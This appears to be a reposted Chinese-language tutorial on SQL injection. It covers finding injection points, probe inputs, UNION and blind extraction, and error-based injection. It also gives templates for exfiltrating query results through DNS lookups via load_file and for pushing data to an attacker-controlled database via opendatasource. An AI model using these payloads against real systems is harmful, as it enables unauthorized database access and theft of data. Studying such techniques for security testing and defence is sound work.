SQL注入 – 作者:teenerKuo

原理

SQL注入即用户输入sql语句被程序执行,破坏了程序与数据库之间的交互;故要进行sql注入,需知道程序使用何种数据库,执行了那些sql语句(增删查改),数据库的库名,表名等一些信息。

sql注入的一般步骤:

1。寻找输入点

一切可以输入数据的地方;

常见注入点一般为get,post,head(xff,ua,reffer),cookie

2。提交一些探测语句;

例如:

1)and1=1,and1=2,

2)算数运算(id=2-1)

3)逻辑运算符(and ,or,not)

4)排序:ASC,DESC

5)一些特殊符号:

‘,

两个单引号,

‘), “, “)

128个单引号或者一个a和127个单引号;

通配符(%,_)

反斜杠 \

有时可能存在宽字节注入,尝试提交%df

6)一些SQL函数,如延时函数sleep(),ascii()等等

7)一切合法的sql语句都可以用来探测

分析程序异常,猜测原因;

使用延时函数,程序进行了延时,则存在sql注入

如果页面报错,则可能存在sql注入

总之一句话,事出反常必有妖,仔细分析原因

多次差异输入验证;

如果猜测存在sql注入,先进行同类型语句探测,再进行其他探测,直到确定可以进行注入

攻击

1)union攻击:

使用联合查询,查看数据;union使用有两个条件,即字段数相同,字段类型兼容;确定字段数可以使用order by或者union select1,2,3…进行确定;字段类型可以使用union select ‘A’,NULL,NULL…,在null的位置替换其他数据类型;最后读取库名,表名,字段名和数据;

如果是盲注则需要if(),sleep(),ascii(),substr(),length()一个字符一个字符确定

head注入利用报错函数,例如updatexml()等

cookie注入可以使用document.cookie()或者burp抓包进行注入,当然也有插件

post注入可以先万能密码跑一波

有时可以利用偏移注入省略字段名:table.*

2)dns数据外带

利用smb服务将数据外带,前提条件是load_file()处于开启状态

关键语句load_file(concat(‘//’,'(查询语句)’,’.域名’))

然后利用dnslog平台读取数据

3)数据库反弹注入

条件:公网ip,与目标同样的数据库,目标站点存在堆叠注入

攻击语句:

insert into opendatasource(‘sqloledb’,’server=url,port;uid=uname;pwd=password;database=dataName’).dataName.dbo.tableName 查询语句 — qwe

来源:freebuf.com 2021-06-29 20:05:35 by: teenerKuo

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论